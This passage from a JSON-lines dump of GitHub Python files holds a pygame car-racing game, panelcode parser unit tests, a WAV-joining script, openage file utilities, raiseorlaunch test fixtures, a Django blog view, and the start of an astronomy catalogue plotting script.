d_OBJ[lst[i][0]][0]/2)) + int((X / 9) * d_OBJ[lst[i][0]][0])):\r\n if (y >= int(lst[i][2]) and y <= int(lst[i][2]) + int((Y / 4) * d_OBJ[lst[i][0]][0]))\\\r\n or (y <= int(lst[i][2]) and y >= int(lst[i][2]) + int((Y / 4) * d_OBJ[lst[i][0]][0]))\\\r\n or (y + int((X / 9) * d_OBJ[\"car\"][0]) >= int(lst[i][2]) and y + int((X / 9) * d_OBJ[\"car\"][0]) <= int(lst[i][2]) + int((Y / 4) * d_OBJ[lst[i][0]][0]))\\\r\n or (y + int((X / 9) * d_OBJ[\"car\"][0]) <= int(lst[i][2]) and y + int((X / 9) * d_OBJ[\"car\"][0]) >= int(lst[i][2]) + int((Y / 4) * d_OBJ[lst[i][0]][0])):\r\n if l == 0:\r\n prt(\"You Crashed, press ESC to exit\", X/2, Y/2, f_clr=clr.blue(), f_sz=50)\r\n else:\r\n prt(\"You Crashed, press ENTER to continue\", X/2, Y/2, f_clr=clr.blue(), f_sz=50)\r\n while True:\r\n for event3 in pygame.event.get():\r\n if event3.type == pygame.KEYDOWN:\r\n if event3.key == pygame.K_ESCAPE:\r\n exit()\r\n if event3.key == pygame.K_RETURN:\r\n if l==0:\r\n l=3\r\n num=0\r\n spd=2\r\n return\r\n l-=1\r\n x = int(X / 2 - int((X / 9) * d_OBJ[\"car\"][0]) / 2)\r\n y = Y - int((Y / 4.5) * d_OBJ[\"car\"][0])\r\n r = random.randrange(1, 3)\r\n r1 = r + random.randrange(1, 3)\r\n lst = [[\"truck\", r, 0, clr.rdm()], [\"bike\", r1, 0, clr.rdm()]]\r\n spd = 2\r\n return\r\n\r\n\r\ndef prt(v_nm, x_var, y_var, tilt=0, f_clr=clr.white(), bg_clr=None, f_sz=10, b_center=True):\r\n font = pygame.font.Font('freesansbold.ttf', f_sz)\r\n if bg_clr==None:\r\n text = font.render(v_nm, True, f_clr)\r\n else:\r\n text = font.render(v_nm, True, f_clr, bg_clr)\r\n textRect = text.get_rect()\r\n textRect = (int(x_var), int(y_var))\r\n if tilt != 0:\r\n text = pygame.transform.rotate(text, tilt)\r\n if b_center == True:\r\n textRect = text.get_rect()\r\n textRect.center = (int(x_var), int(y_var))\r\n screen.blit(text, textRect)\r\n\r\n\r\ndef clear():\r\n pygame.draw.rect(screen, clr.black(), pygame.Rect(0, 0, X, Y))\r\n pygame.draw.rect(screen, clr.grey(), pygame.Rect(int(X / 7), 0, int((5 * X) / 7), Y))\r\n for i in range(1, 7):\r\n pygame.draw.line(screen, clr.white(), (i * int(X / 7), 0), (int(i * int(X / 7)), int(Y)), 6)\r\n for i in range(len(lst)):\r\n pygame.draw.rect(screen, lst[i][3], pygame.Rect(\r\n int((lst[i][1] * int(X / 7)) + int(X / 14) - (int(X / 9) * d_OBJ[lst[i][0]][0]/2)), int(lst[i][2]),\r\n int((X / 9) * d_OBJ[lst[i][0]][0]), int((Y / 4) * d_OBJ[lst[i][0]][0])))\r\n pygame.draw.rect(screen, crclr, pygame.Rect(int(x), int(y), int((X / 9) * d_OBJ[\"car\"][0]), int((Y / 4.5) * d_OBJ[\"car\"][0])))\r\n prt(\"Score: \" + str(int(num)), X / 14, Y / 12, f_sz=20)\r\n prt(\"Lives: \" + str(l), X/14, Y/8, f_sz=20)\r\n prt(\"Speed: \" + str(int(spd)), X/14, Y/6, f_sz=20)\r\n crash()\r\n pygame.display.flip()\r\n\r\n\r\ndef stop(axis):\r\n if axis == \"x\":\r\n if int(X / 7) + 1 > x:\r\n return int(X / 7) + 1\r\n elif x > int(6 * X / 7)-int((X / 9) * d_OBJ[\"car\"][0]):\r\n return int(6 * X / 7)-int((X / 9) * d_OBJ[\"car\"][0])\r\n return x\r\n elif axis == \"y\":\r\n if 0 > y:\r\n return 0\r\n elif y > Y-int((X / 9) * d_OBJ[\"car\"][0]):\r\n return Y-int((X / 9) * d_OBJ[\"car\"][0])\r\n return y\r\n\r\n\r\ndef arw_keys(add, axis, key):\r\n\r\n global brk, num, j, spd\r\n if key == \"a\":\r\n k_lst=[pygame.K_a, pygame.K_LEFT]\r\n if key == \"d\":\r\n k_lst = [pygame.K_d, pygame.K_RIGHT]\r\n if key == \"w\":\r\n k_lst = [pygame.K_w, pygame.K_UP]\r\n if key == \"s\":\r\n k_lst = [pygame.K_s, pygame.K_DOWN]\r\n\r\n while True:\r\n if axis == \"x\":\r\n global x\r\n axis1 = x\r\n else:\r\n global y\r\n axis1 = y\r\n for event2 in pygame.event.get():\r\n crash()\r\n if event2.type == pygame.KEYUP:\r\n if event.key == k_lst[0] or event.key == k_lst[1]:\r\n brk = True\r\n if brk == True:\r\n break\r\n axis1 += add\r\n num += 0.01\r\n if int(num) == j * 100:\r\n j += 1\r\n spd += 0.2\r\n for i in range(len(lst)):\r\n lst[i][2] += spd * d_OBJ[lst[i][0]][1]\r\n if axis == \"x\":\r\n x=axis1\r\n x=stop(\"x\")\r\n else:\r\n y=axis1\r\n y=stop(\"y\")\r\n clear()\r\n\r\n\r\npygame.init()\r\nclear()\r\nbrk=False\r\nprt(\"Press any key to start\", X/2, Y/2, f_sz=50)\r\npygame.display.flip()\r\nwhile True:\r\n for event in pygame.event.get():\r\n if event.type == pygame.KEYDOWN:\r\n brk=True\r\n if brk==True:\r\n break\r\n\r\nfor i in range(3, 0, -1):\r\n clear()\r\n prt(str(i), X/2, Y/2, f_sz=100)\r\n pygame.display.flip()\r\n time.sleep(0.5)\r\nclear()\r\nprt(\"GO!!\", X/2, Y/2, f_sz=100)\r\npygame.display.flip()\r\ntime.sleep(0.5)\r\nclear()\r\n\r\n# MAIN\r\n\r\nwhile True:\r\n brk = False\r\n for event in pygame.event.get():\r\n if event.type == pygame.KEYDOWN:\r\n\r\n\r\n if event.key == pygame.K_a or event.key == pygame.K_LEFT: # LEFT\r\n arw_keys(-add, \"x\", \"a\")\r\n\r\n elif event.key == pygame.K_d or event.key == pygame.K_RIGHT: # RIGHT\r\n arw_keys(add, \"x\", \"d\")\r\n\r\n elif event.key == pygame.K_w or event.key == pygame.K_UP: # UP\r\n arw_keys(-add, \"y\", \"w\")\r\n\r\n elif event.key == pygame.K_s or event.key == pygame.K_DOWN: # UP\r\n arw_keys(add, \"y\", \"s\")\r\n\r\n elif event.key == pygame.K_ESCAPE or event.type == pygame.QUIT:\r\n exit()\r\n for i in range(len(lst)):\r\n lst[i][2] += spd * d_OBJ[lst[i][0]][1]\r\n clear()\r\n\r\n rnum = random.randrange(3, 6)\r\n for i in range(len(lst)):\r\n if lst[i][2] >= rnum * Y / 7 and len(lst) == 2:\r\n while True:\r\n r1 = random.choice([\"car\", \"car\", \"car\", \"car\", \"car\", \"car\", \"bike\", \"bike\", \"bike\", \"truck\"])\r\n r2 = random.randrange(1, 6)\r\n if (d_OBJ[r1][1] <= d_OBJ[lst[0][0]][1] or r2 != lst[0][1]) and r2 not in lst[1]:\r\n lst.append([r1, r2, -int((X / 4.5) * d_OBJ[r1][0]), clr.rdm()])\r\n break\r\n elif lst[i][2] >= Y:\r\n lst.pop(i)\r\n break\r\n\r\n crash()\r\n\r\n num+=0.015\r\n\r\n if int(num)==j*100:\r\n j+=1\r\n spd+=0.2","repo_name":"codesbyveer09/games-veer","sub_path":"Car Racing.py","file_name":"Car Racing.py","file_ext":"py","file_size_in_byte":8522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1044516996","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Simple unit testing for Processing.py sketches.\n\nA single-tab simple unit testing solution for Processing.py.\nAdd groups of tests here organized in the unittest style:\nGroup test sets to be run simultaneously in classes that\nextend unittest.TestCase. Group related tests as functions\nnamed test_foo within TestCase classes.\n\nUse `tests.run()` to auto-discover and run all tests.\nUse `tests.run(TestFoo)` to run one specific test class.\n\n\"\"\"\n\nfrom __future__ import print_function\nimport unittest\nimport itertools\nimport os\nimport sys\n\nimport panelcode.parser as parser\nimport panelcode.render as render\nimport panelcode.utils as utils\n\n\ndef run(case=None, out=sys.stdout):\n \"\"\"Simple test runner.\n\n Call with case = a specific test set:\n the class name of a TestCase-derived class.\n When no case is provided, discovers and runs\n all tests in its own module (its own PDE tab).\n\n Default to normal console text (white text),\n set out=sys.stderr to print as error (red text).\n\n Args:\n case (TestCase): Tests to run.\n out (stream file object): Where to write results.\n\n \"\"\"\n if case is not None:\n suite = unittest.TestLoader().loadTestsFromTestCase(case)\n else:\n # load all tests from this module\n suite = unittest.TestLoader().loadTestsFromModule(\n sys.modules[__name__])\n # run test suite\n unittest.TextTestRunner(stream=out, descriptions=True,\n verbosity=2, failfast=False, buffer=False,\n resultclass=None).run(suite)\n\n\ndef phtml_equal(pcode_str1, pcode_str2, parselevel=parser.root):\n \"\"\"For two pcode strings, test if they render the same html string.\"\"\"\n pcode_obj1 = parser.parse(pcode_str1, parselevel)\n pcode_obj2 = parser.parse(pcode_str2, parselevel)\n pcode_html1 = render.pobj_to_html5_ccs3_grid(pcode_obj1)\n pcode_html2 = render.pobj_to_html5_ccs3_grid(pcode_obj2)\n return pcode_html1 == pcode_html2\n\n\ndef item_pair_equalities(test_items):\n \"\"\"\n For a set of pcode strings, check that each renders equal to every other.\n This is inefficient -- better to render the first string\n then check each remaining item string once against it.\n This could be useful for a comparator other than equality.\n \"\"\"\n test_pairs = itertools.combinations(test_items, 2)\n for item1, item2 in (test for test in test_pairs):\n yield phtml_equal(item1, item2)\n\n\nclass TestEnvironment(unittest.TestCase):\n \"\"\"Confirm presence of default named directories and files.\"\"\"\n\n def test_paths(self):\n \"\"\"Check basic directory structure. \"\"\"\n root = sketchPath()\n self.assertTrue(os.path.isdir(root))\n dirs = ['/data/input',\n '/data/output',\n '/data/templates',\n '/styles']\n for dpath in dirs:\n self.assertTrue(os.path.isdir(root + dpath))\n files = ['/data/templates/gallery_css3.html',\n '/styles/panelcode-grid.css',\n '/styles/site.css']\n for fpath in files:\n self.assertTrue(os.path.isfile(root + fpath))\n\n\nclass TestPickling(unittest.TestCase):\n \"\"\"Test picking (serializing) and unpicking of panelcode objects.\"\"\"\n\n def test_load_save_remove(self):\n \"\"\"Save, load, and remove pickled panelcode pyparsing object files.\"\"\"\n pcode_obj = parser.parse(\"1_2_3\", parser.root)\n self.assertFalse(utils.exists('test.pickle'))\n utils.pickle_dump(pcode_obj, 'test.pickle')\n self.assertTrue(utils.exists('test.pickle'))\n pcode_obj2 = utils.pickle_load('test.pickle')\n self.assertTrue(pcode_obj.dump(), pcode_obj2.dump())\n utils.pickle_remove('test.pickle')\n self.assertFalse(os.path.exists('test.pickle'))\n\n\nclass TestRenderHTML(unittest.TestCase):\n \"\"\"Test that renders are panelcode-correct and html-valid.\"\"\"\n\n def test_simple_rows_summative(self):\n \"\"\"Simple row addition is summative: 1+2 = 3.\"\"\"\n self.assertTrue(phtml_equal('1+2', '3'))\n self.assertTrue(phtml_equal('2+5', '7'))\n self.assertTrue(phtml_equal('1+2+3', '6'))\n # check 0 in 10 isn't misparsed\n self.assertTrue(phtml_equal('7+3', '10'))\n # check two digits\n self.assertTrue(phtml_equal('4+7', '11'))\n self.assertTrue(phtml_equal('11+11', '22'))\n # wrong sums should fail\n self.assertFalse(phtml_equal('1+2', '4'))\n # sums work in layouts\n self.assertTrue(phtml_equal('1+2_3', '3_3'))\n self.assertFalse(phtml_equal('1+2_3', '3_4'))\n # sums work in layouts\n self.assertTrue(phtml_equal('1+2;3', '2+1;3'))\n self.assertTrue(phtml_equal('2+5;3', '7;3'))\n self.assertTrue(phtml_equal('10+2;3', '12;3'))\n self.assertTrue(phtml_equal('11+12;3', '23;3'))\n # sums work in spreads\n self.assertTrue(phtml_equal('1+2|3', '3|3'))\n self.assertTrue(phtml_equal('2+5|3', '7|3'))\n self.assertTrue(phtml_equal('10+2|3', '12|3'))\n self.assertTrue(phtml_equal('11+12|3', '23|3'))\n # sums work in galleries\n self.assertTrue(phtml_equal('1+2@3', '2+1@3'))\n self.assertTrue(phtml_equal('2+5@3', '7@3'))\n self.assertTrue(phtml_equal('10+2@3', '12@3'))\n self.assertTrue(phtml_equal('11+12@3', '23@3'))\n # sums fail with attributes -- attributed units are not summative\n self.assertFalse(phtml_equal('r2+2', '3.r2'))\n self.assertFalse(phtml_equal('1r2+2', '3.r2'))\n self.assertFalse(phtml_equal('1.r2+2', '3.r2'))\n self.assertFalse(phtml_equal('2r2+1', '3.r2'))\n self.assertFalse(phtml_equal('2.r2+1', '3.r2'))\n\n def test_simple_rows_commutative(self):\n \"\"\"Simple row addition is commutative: 1+2 = 2+1.\"\"\"\n test_sets = []\n test_sets.append([('1+2', '2+1'),\n ('2+5', '5+2'),\n ('10+2', '2+10'),\n ('1+2+3', '2+3+1'),\n ('1+2+3', '3+2+1')])\n # build a commutative test set for each level delimiter\n test_sets.append([('1+2,3', '2+1,3'),\n ('2+5,3', '5+2,3'),\n ('10+2,3', '2+10,3'),\n ('11+12,3', '12+11,3')])\n test_sets.append([('1+2;3', '2+1;3'),\n ('2+5;3', '5+2;3'),\n ('10+2;3', '2+10;3'),\n ('11+12;3', '12+11;3')])\n test_sets.append([('1+2|3', '2+1|3'),\n ('2+5|3', '5+2|3'),\n ('10+2|3', '2+10|3'),\n ('11+12|3', '12+11|3')])\n test_sets.append([('1+2@3', '2+1@3'),\n ('2+5@3', '5+2@3'),\n ('10+2@3', '2+10@3'),\n ('11+12@3', '12+11@3')])\n for test_pairs in test_sets:\n for item1, item2 in (pair for pair in test_pairs):\n self.assertTrue(phtml_equal(item1, item2))\n\n def test_levels_non_commutative(self):\n \"\"\"All levels above adjascent units are not commutative.\"\"\"\n test_sets = []\n # build a non-commutative test set for each level delimiter\n test_sets.append([('1;2', '2;1'),\n ('2;5', '5;2'),\n ('10;2', '2;10'),\n ('1;2;3', '2;3;1'),\n ('1;2;3', '3;2;1')])\n test_sets.append([('1|2', '2|1'),\n ('2|5', '5|2'),\n ('10|2', '2|10'),\n ('1|2|3', '2|3|1'),\n ('1|2|3', '3|2|1')])\n test_sets.append([('1@2', '2@1'),\n ('2@5', '5@2'),\n ('10@2', '2@10'),\n ('1@2@3', '2@3@1'),\n ('1@2@3', '3@2@1')])\n for test_pairs in test_sets:\n for item1, item2 in (pair for pair in test_pairs):\n self.assertFalse(phtml_equal(item1, item2))\n\n def test_simple_zero_units(self):\n \"\"\"Zero units are NOT commutative, and have no additive identity\n (not summative).\n \"\"\"\n # no additive identity\n self.assertFalse(phtml_equal('0', '0+0'))\n self.assertFalse(phtml_equal('0+1', '1'))\n self.assertFalse(phtml_equal('0+5', '5'))\n self.assertFalse(phtml_equal('0+10', '10'))\n self.assertFalse(phtml_equal('0+11', '11'))\n # not commutative\n self.assertFalse(phtml_equal('0+1', '1+0'))\n self.assertFalse(phtml_equal('0+5', '5+0'))\n self.assertFalse(phtml_equal('0+10', '10+0'))\n self.assertFalse(phtml_equal('0+11', '11+0'))\n self.assertFalse(phtml_equal('1+0+2', '3+0'))\n self.assertFalse(phtml_equal('1+0+2', '0+3'))\n # however doesn't interfere with normal units being commutative\n self.assertTrue(phtml_equal('1+2+0', '3+0'))\n self.assertTrue(phtml_equal('9+10+0', '19+0'))\n\n def test_simple_units_concise(self):\n \"\"\"Unts can be written concisely: 1.r2 = 1r2 = r2\"\"\"\n self.assertTrue(phtml_equal('r2', '1r2'))\n self.assertTrue(phtml_equal('1r2', '1.r2'))\n self.assertTrue(phtml_equal('5r2', '5.r2'))\n # check 0 isn't misparsed\n self.assertTrue(phtml_equal('10r2', '10.r2'))\n # check two digits\n self.assertTrue(phtml_equal('11r2 +22r2 ', '33.r2'))\n\n def test_simple_groups(self):\n \"\"\"Simple groups can be written with or without parens.\"\"\"\n self.assertTrue(phtml_equal('(1,1)', '1,1'))\n self.assertTrue(phtml_equal('(2,1)', '2,1'))\n # with attributes\n self.assertTrue(phtml_equal('(1.r2+1,1)', '1.r2+1,1'))\n self.assertTrue(phtml_equal('(1r2+1,1)', '1r2+1,1'))\n self.assertTrue(phtml_equal('(r2+1,1)', 'r2+1,1'))\n self.assertTrue(phtml_equal('(2.r2+1,1)', '2.r2+1,1'))\n self.assertTrue(phtml_equal('(2r2+1,1)', '2r2+1,1'))\n\n def test_level_inequalities(self):\n \"\"\"No level join/division should be equivalent to any other.\"\"\"\n for result in item_pair_equalities(['1+1', '1,1', '1_1',\n '1;1', '1|1', '1@1']):\n self.assertFalse(result)\n for result in item_pair_equalities(['2+3', '2,3', '2_3',\n '2;3', '2|3', '2@3']):\n self.assertFalse(result)\n for result in item_pair_equalities(['9+10+11', '9,10,11', '9_10_11',\n '9;10;11', '9|10|11', '9@10@11']):\n self.assertFalse(result)\n\n def test_whitespace_linebreaks(self):\n \"\"\"Linebreaks have no impact on parsing between units.\"\"\"\n test_items = ['1+2', '1+\\n2', '1\\n+2', '1\\n+\\n2']\n test_sets = []\n test_sets.append(test_items)\n # build a linebreak test set for each level delimiter\n test_sets.append([item.replace('+', ',') for item in test_items])\n test_sets.append([item.replace('+', '_') for item in test_items])\n test_sets.append([item.replace('+', ';') for item in test_items])\n test_sets.append([item.replace('+', '|') for item in test_items])\n test_sets.append([item.replace('+', '@') for item in test_items])\n for tests in test_sets:\n for result in item_pair_equalities(tests):\n self.assertTrue(result)\n\n def test_whitespace_spaces(self):\n \"\"\"Spaces should not affect level delimiters.\"\"\"\n test_items = ['1+2', ' 1+2', '1 +2', '1+ 2', '1+2 ', '1 + 2',\n ' 1 + 2 ']\n test_sets = []\n test_sets.append(test_items)\n # build a linebreak test set for each level delimiter\n test_sets.append([item.replace('+', ',') for item in test_items])\n test_sets.append([item.replace('+', '_') for item in test_items])\n test_sets.append([item.replace('+', ';') for item in test_items])\n test_sets.append([item.replace('+', '|') for item in test_items])\n test_sets.append([item.replace('+', '@') for item in test_items])\n for tests in test_sets:\n for result in item_pair_equalities(tests):\n self.assertTrue(result)\n\n def test_whitespace_tabs(self):\n \"\"\"Tabs should not affect level delimiters.\"\"\"\n test_items = ['1+2', '\\t1+2', '1\\t+2', '1+\\t2', '1+2\\t', '1\\t+\\t2',\n '\\t1\\t+\\t2\\t']\n test_sets = []\n test_sets.append(test_items)\n # build a linebreak test set for each level delimiter\n test_sets.append([item.replace('+', ',') for item in test_items])\n test_sets.append([item.replace('+', '_') for item in test_items])\n test_sets.append([item.replace('+', ';') for item in test_items])\n test_sets.append([item.replace('+', '|') for item in test_items])\n test_sets.append([item.replace('+', '@') for item in test_items])\n for tests in test_sets:\n for result in item_pair_equalities(tests):\n self.assertTrue(result)\n\n\nif __name__ == '__main__':\n # Discover and run all tests on main entrypoint.\n unittest.main(exit=False)\n","repo_name":"jeremydouglass/paneler_pyde","sub_path":"panelcode/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":13212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18554458681","text":"import wave\nfrom os import listdir\n\nfrom tqdm import tqdm\n\nfrom charlie2.tools.recipes import get_vwm_stimuli\n\nif __name__ == \"__main__\":\n # sequences = [item for sublist in get_vwm_stimuli(\"en\") for item in sublist]\n # s = \"/Users/smathias/Documents/Charlie2/charlie2/stimuli/audio/verbalworkingmemory\"\n # for sequence in sequences:\n # data = []\n # for g in str(sequence):\n # p = [\"L\", \"D\"][g in \"123456789\"]\n # f = f\"{s}/SPAN-{p}{g}-V1.wav\"\n # w = wave.open(f, 'rb')\n # data.append([w.getparams(), w.readframes(w.getnframes())])\n # w = wave.open('silence.wav', 'rb')\n # data.append([w.getparams(), w.readframes(w.getnframes())])\n # w.close()\n # output = wave.open(f\"{sequence}.wav\", 'wb')\n # output.setparams(data[0][0])\n # for i in range(len(str(sequence))*2):\n # output.writeframes(data[i][1])\n # output.close()\n p = \"/Users/smathias/Documents/Charlie2/charlie2/stimuli/audio/verbalworkingmemory/\"\n s = \"/Users/smathias/Documents/Charlie2/charlie2/stimuli/audio/common/silence.wav\"\n s = wave.open(s, \"rb\")\n for f in [f for f in listdir(p) if \".wav\" in f]:\n w = wave.open(p + f, \"rb\")\n data = []\n data.append([s.getparams(), s.readframes(s.getnframes())])\n data.append([w.getparams(), w.readframes(w.getnframes())])\n w.close()\n output = wave.open(\"tmp.wav\", \"wb\")\n output.setparams(data[0][0])\n for i in range(2):\n output.writeframes(data[i][1])\n output.close()\n","repo_name":"sammosummo/Charlie2","sub_path":"charlie2/_scratch/make_vwm.py","file_name":"make_vwm.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"29662076529","text":"import os\nfrom collections import defaultdict\n\n\nclass Issue:\n def __init__(self, title, text):\n self.title = title\n self.text = text\n\n def print(self):\n if os.isatty(1):\n print(\"\\x1b[33;1mWARNING\\x1b[m {}: {}\".format(\n self.title,\n self.text))\n else:\n print(\"WARNING {}: {}\".format(self.title, self.text))\n\n\nfilecache = {}\nbadutf8files = set()\n\n\ndef readfile(filename):\n \"\"\"\n reads the file, and returns it as a str object.\n\n if the file has already been read in the past,\n returns it from the cache.\n \"\"\"\n if filename not in filecache:\n with open(filename, 'rb') as f:\n data = f.read()\n\n try:\n data = data.decode('utf-8')\n except:\n data = data.decode('utf-8', errors='replace')\n badutf8files.add(filename)\n\n filecache[filename] = data\n\n return filecache[filename]\n\n\ndef has_ext(fname, exts):\n for ext in exts:\n if fname.endswith(ext):\n return True\n\n return False\n\n\ndef findfiles(paths, exts):\n \"\"\"\n yields all files in paths with names ending in an ext from exts.\n\n hidden dirs and files are ignored.\n \"\"\"\n for path in paths:\n for filename in os.listdir(path):\n if filename.startswith('.'):\n continue\n\n filename = os.path.join(path, filename)\n\n if os.path.isdir(filename):\n for f in findfiles((filename,), exts):\n yield f\n\n if has_ext(filename, exts):\n yield filename\n","repo_name":"janisozaur/openage-priv","sub_path":"py/openage/codecompliance/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32819017412","text":"import os\nimport sys\nfrom collections import namedtuple\n\nimport i3ipc\nimport pytest\n\nfrom raiseorlaunch import Raiseorlaunch, raiseorlaunch\nfrom tests.tree import tree\n\n\n@pytest.fixture()\ndef default_args():\n return {\n \"wm_class\": None,\n \"wm_instance\": None,\n \"wm_title\": None,\n \"command\": None,\n \"workspace\": None,\n \"target_workspace\": None,\n \"scratch\": False,\n \"con_mark\": None,\n \"event_time_limit\": 2.0,\n \"ignore_case\": False,\n \"cycle\": False,\n \"leave_fullscreen\": False,\n }\n\n\n@pytest.fixture()\ndef default_args_cli(default_args):\n default_args[\"debug\"] = False\n return default_args\n\n\n@pytest.fixture()\ndef minimal_args(default_args):\n default_args[\"wm_class\"] = \"some_class\"\n return default_args\n\n\n@pytest.fixture\ndef Workspace():\n return namedtuple(\"Workspace\", (\"name\"))\n\n\n@pytest.fixture()\ndef Con(Workspace):\n class CreateCon:\n def __init__(\n self,\n window_class=\"some_class\",\n window_instance=\"some_instance\",\n name=\"some_name\",\n id=\"some_id\",\n workspace_name=\"some_workspace\",\n focused=False,\n ):\n self.window_class = window_class\n self.window_instance = window_instance\n self.name = name\n self.id = id\n self.workspace_name = workspace_name\n self.focused = focused\n self.calls = []\n\n def workspace(self):\n return Workspace(name=self.workspace_name)\n\n def command(self, *args, **kwargs):\n self.calls += [args, kwargs]\n\n return CreateCon\n\n\n@pytest.fixture()\ndef sys_argv_handler():\n old_sys_argv = sys.argv\n yield\n sys.argv = old_sys_argv\n\n\n@pytest.fixture\ndef tree_mock():\n return i3ipc.Con(tree, None, None)\n\n\n@pytest.fixture\ndef run_command_mock(mocker):\n return mocker.patch.object(raiseorlaunch.i3ipc.Connection, \"command\")\n\n\n@pytest.fixture\ndef i3ipc_mock(mocker, tree_mock):\n os.environ[\"I3SOCK\"] = \"/dev/null\"\n mocker.patch.object(\n raiseorlaunch.i3ipc.Connection, \"get_tree\", return_value=tree_mock\n )\n mocker.patch.object(i3ipc.connection.socket.socket, \"connect\")\n\n\n@pytest.fixture\ndef rol(minimal_args, i3ipc_mock):\n rol = Raiseorlaunch(**minimal_args)\n return rol\n","repo_name":"open-dynaMIX/raiseorlaunch","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"31"} +{"seq_id":"14173088902","text":"from django.shortcuts import render, get_object_or_404\nfrom blog.models import Post\nfrom comments.forms import CommentForm, CommentFlagForm\n\n\ndef index(request):\n\treturn render(request, 'blog/index.html')\n\n\ndef post_detail(request, id):\n\tpost = get_object_or_404(Post, id=id)\n\tcomments = post.comments.filter(visible=True)\n\tcomment_reply_form = CommentForm(request.POST or None)\n\tcomment_flag_form = CommentFlagForm(request.POST or None)\n\tcontext = {\n\t\t'post': post,\n\t\t'comments': comments,\n\t\t'comment_reply_form': comment_reply_form,\n\t\t'comment_flag_form': comment_flag_form,\n\t}\n\treturn render(request, 'blog/post-detail.html', context)","repo_name":"beasyx0/comments","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69913606809","text":"import pandas as pd\nimport numpy as np\nfrom scipy.stats import norm\nfrom scipy.stats import lognorm\nfrom scipy.stats import spearmanr\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nfrom matplotlib.ticker import LogFormatterExponent\nfrom matplotlib.patches import Rectangle\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom astropy import units as u\nfrom astropy.coordinates import SkyCoord\n\nfig, ax = plt.subplots()\n\nERR_INVALID = \"Invalid choice. Try again.\"\nERR_INVALID_NUM =\"Not a number. Try again.\"\nERR_MAX_MIN = \"Maximum {0} must be greater than minimum {0}\"\nvalid_frequencies = [1060, 1310, 1440, 1690, 1820, 1950] \ncolor_map_options = [\"Greys_r\", \"viridis\",\"plasma\",\"inferno\", \"magma\", \"gist_heat\", \"Wistia\", \"summer\", \"bwr\", \"RdGy\", \"Set1\", \"tab10\", \"Pastel1\",\"CMRmap\", \"brg\", \"nipy_spectral\"]\n\ncatalogue = None\nsources = None\nnumeric_cols = None\ndef loadThor():\n global catalogue\n global sources\n global numeric_cols\n catalogue = pd.read_csv(\"thor_continuum_catalog.csv\")\n sources = catalogue\n numeric_cols = list(catalogue.select_dtypes(include=[\"float64\", \"int64\"]).columns)\n return catalogue, sources, numeric_cols\n\ndef loadCustom(file_name):\n global catalogue\n global sources\n global numeric_cols\n catalogue = pd.read_csv(file_name)\n sources = catalogue\n numeric_cols = list(catalogue.select_dtypes(include=[\"float64\", \"int64\"]).columns)\n return catalogue, sources, numeric_cols\n\nplt.rc('font', size=14) # controls default text sizes\nplt.rc('axes', titlesize=16) # fontsize of the axes title\nplt.rc('axes', labelsize=16) # fontsize of the x and y labels\nplt.rc('xtick', labelsize=14) # fontsize of the tick labels\nplt.rc('ytick', labelsize=14) # fontsize of the tick labels\nplt.rc('legend', fontsize=12) # legend fontsize\nplt.rc('figure', titlesize=20) # fontsize of the figure title\n\n\n#remove outliers by checking which data points lie beyond n standard deviations from the mean\ndef removeOutliers(sources, col_name, n_std_devs, log):\n n_std_devs = float(n_std_devs)\n #if user wishes, take log to base 10 before removing outliers and create a temporary column for the logs\n if log:\n sources = sources[sources[col_name] > 0]\n col_log = \"col_log\"\n #remove all rows for which the data in specified column isn't available\n sources = sources[np.isfinite(sources[col_name])]\n sources[col_log] = np.log10(sources[col_name])\n col_mean = sources[col_log].mean()\n sources =sources[np.abs(sources[col_log]-col_mean) <= (n_std_devs*sources[col_log]).std()]\n else:\n #else remove outliers normally\n sources = sources[np.abs(sources[col_name]-sources[col_name].mean()) <= (n_std_devs*sources[col_name].std())] \n return sources\n\n#generic function for filtering by specifying min and max values for a column\ndef filterByRange(sources, col_filter, min_val, max_val):\n min_condition = sources[col_filter] >= min_val\n max_condition = sources[col_filter] <= max_val\n return sources[min_condition & max_condition]\n\n#convert epoch J2000 coordinates into galactic latitude and longitude - used for plotting galactic coordinates\ndef getGalacticCoords(sources):\n coords = SkyCoord(ra = sources[\"RA\"].values * u.degree, dec = sources[\"Dec\"].values * u.degree)\n return {\"l\" : coords.galactic.l.deg, \"b\": coords.galactic.b.deg}\n\ndef scatterIntensity(ax, sources, freq_1, freq_2):\n if freq_1 == freq_2:\n return \"Both intensities are the same\"\n \n #convert frequencies into the column names that correspond to the frequencies and set the axes labels\n intensity_attrib_1 = intensityAttrib(freq_1)\n intensity_attrib_2 = intensityAttrib(freq_2)\n \n ax.set_xlabel(createLabel(intensity_attrib_1))\n ax.set_ylabel(createLabel(intensity_attrib_2))\n \n #get the columns and plot\n intensities_1 = sources[intensity_attrib_1]\n intensities_2 = sources[intensity_attrib_2]\n ax.errorbar(intensities_1, intensities_2, fmt=\"k,\")\n \n print(\"Plotted the intensity scatter graph\")\n ax.set_xscale(\"log\")\n ax.set_yscale(\"log\")\n\ndef plotIntensityHistogram(ax, sources, freq_mhz, num_bins, label, color =\"#338768\", fit=False):\n intensity_attrib = intensityAttrib(freq_mhz)\n \n #if the frequency has not been recorded, then no such column will exist so return\n try:\n peak_intensity = sources[intensity_attrib]\n except:\n print(\"Intensities for frequency \" + str(freq_mhz) + \"MHz have not been recorded\")\n return \n #filtering out negative intensities\n peak_intensity = peak_intensity[peak_intensity>0]\n \n #creating the log-scaled bins\n bin_max = np.log10(peak_intensity.max())\n bin_min = np.log10(peak_intensity.min())\n bins = 10**np.linspace(bin_min, bin_max, num_bins)\n \n #set 